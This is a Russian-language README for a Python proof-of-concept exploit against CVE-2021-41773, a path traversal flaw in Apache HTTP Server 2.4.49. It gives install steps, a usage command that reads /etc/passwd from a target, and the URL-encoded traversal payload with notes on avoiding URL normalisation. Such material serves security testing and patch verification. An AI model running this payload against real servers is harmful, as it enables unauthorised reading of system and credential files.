CVE-2021-41773 Эксплойт обхода пути Apache HTTP Server

Эксплойт на Python для CVE-2021-41773, уязвимости обхода пути в Apache HTTP Server 2.4.49, позволяющей читать произвольные файлы с сервера.

Детали уязвимости

CVE-2021-41773 — это уязвимость обхода пути в Apache HTTP Server 2.4.49, возникающая из-за неправильной проверки путей, предоставленных пользователем. Уязвимость позволяет злоумышленникам читать файлы за пределами корневой директории документов, используя последовательности обхода пути, закодированные в URL.

• CVSS Score: 7.5 (Высокий)
• Affected Versions: Apache HTTP Server 2.4.49
• Vector: Удалённый, без аутентификации

Установка

git clone https://github.com/blu3ming/PoC-CVE-2021-41773
cd PoC-CVE-2021-41773
pip install -r requirements.txt

Использование

python3 cve-2021-41773.py -t <target> -f <file_path>

Параметры

• -t, --target: Целевой URL (включите протокол и порт при необходимости)
• -f, --file: Путь к файлу для чтения с сервера

Пример

# Read /etc/passwd
python3 cve-2021-41773.py -t http://192.168.1.100:443 -f /etc/passwd

Как это работает

Эксплойт использует последовательности обхода пути, закодированные в URL (.%2e/%2e%2e/), для обхода проверки пути Apache:

1. Уязвимая версия Apache не может правильно декодировать и проверить путь.
2. Закодированные в URL точки (.%2e) обходят первоначальные проверки безопасности.
3. Сервер обрабатывает обход пути после декодирования, что позволяет получить доступ к файлам.

Ключевой момент — использование urllib3.PoolManager() вместо requests.get() для предотвращения автоматической нормализации URL, которая могла бы нарушить работу эксплойта.

Технические детали

# The exploit URL structure:
/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/{target_file}

Это преобразуется в:

/cgi-bin/../../../../{target_file}

Ссылки

• CVE-2021-41773 - MITRE
• Уведомление о безопасности Apache HTTP Server
• NVD - CVE-2021-41773